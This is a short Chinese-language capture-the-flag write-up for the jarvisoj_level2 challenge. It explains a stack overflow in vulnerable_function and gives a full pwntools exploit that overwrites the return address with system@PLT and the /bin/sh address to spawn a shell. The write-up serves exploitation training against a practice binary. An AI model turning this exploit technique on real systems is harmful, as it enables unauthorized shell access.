jarvisoj_level2
使用checksec
查看:
放进IDA中分析:
- 存在漏洞函数
vulnerable_function()
,跟进。
vulnerable_function()
:
return read(0, &buf, 0x100u);
:向变量buf
中写入0x100长度的数据,变量buf
距离ebp
0x88,存在栈溢出。system("echo Input:");
:有system()
函数可以使用
查询该程序中的字符串:
- 发现有
/bin/sh
题目思路
- 利用栈溢出跳转
system@PLT
system
参数给上/bin/sh
- getshell
步骤解析
无需
完整exp
from pwn import *
#start
r = process("../buu/jarvisoj_level2")
elf = ELF("../buu/jarvisoj_level2")
#params
sys_addr = elf.symbols['system']
bin_sh_addr = 0x0804A024
#attack
payload = b'M' * (0x88 + 4) + p32(sys_addr) + b'M' * 4 + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()